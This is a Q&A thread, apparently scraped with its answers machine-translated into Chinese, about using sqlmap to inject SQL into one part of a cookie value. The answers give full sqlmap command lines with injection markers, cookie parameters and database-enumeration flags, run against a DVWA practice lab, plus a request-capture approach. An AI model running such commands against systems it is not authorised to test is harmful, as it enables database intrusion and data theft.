How to inject a part of cookie using sqlmap

Question

I need to do SQL injection on a part of cookie using sqlmap. The target URL is static.

A sample cookie:

Cookie1=blah_var1/blah_val1/blah_var2/blah_val2/searchtext/userinput/blah_var3/blah_val3/.../

In this cookie i need to inject the "userinput" using sqlmap. I know --cookie parameter but it wont work in this case. This is like part of cookie alone have to be injected using sqlmap.

I don't know how to do this. Please help.

Answer 1

我在 Cookie 中注入 SQL 时遇到了同样的问题，我查看了它的帮助和代码，现在终于有些道理了，让我提出我的假设：

1. Cookie 基础注入仅适用于level>=2.
2. 您需要指定param-filter='COOKIE'.
3. 不要让 sqlmap在请求时尝试URI 注入，否则基于 GET/POST 的测试将会失败。
4. 如果您在该可测试 cookie 上指定自定义注入标记，请不要继续执行此操作，否则将会失败。

我没有在第三点和第四点上尝试这么多组合，请随意使它们失效。好吧，尝试这样的事情：

sqlmap -u 'protocol://test.server/test_url/' --cookie='id=*; PHPSESSID=jh3c0eqqu03mlcvjh1ddjj1spr; security=high' -p 'id' --param-filter='COOKIE' --skip='PHPSESSID,security' --flush-session --fresh-queries --proxy='https://localhost:7777'  --dbs --dbms='mysql' --os='linux' --ignore-code=404 --output-dir=./sqlmapdir/ --level=2

基于 cookie 的测试所需的选项有：-u、--cookie、-p、--param-filter、--level。

在 SQLMap 版本上尝试的命令：1.4.8#stable

输出：

$ sqlmap -u 'http://dvwa.local/vulnerabilities/sqli_blind/' --cookie='id=*; PHPSESSID=jh3c0eqqu03mlcvjh1ddjj1spr; security=high' -p 'id' --param-filter='COOKIE' --skip='PHPSESSID,security' --flush-session --fresh-queries --proxy='https://localhost:7777'  --dbs --dbms='mysql' --os='linux' --ignore-code=404 --output-dir=./sqlmapdir/ --level=2

Answer 2

拦截所有请求，将其保存到一个文件中，然后将该文件提供给带有 -r 参数的 sqlmap，默认情况下 sqlmap 应该检查 cookie。

sqlmap.py -r request.txt

您可以使用篡改数据（firefox 扩展）或 burp 代理的免费版本来拦截请求。
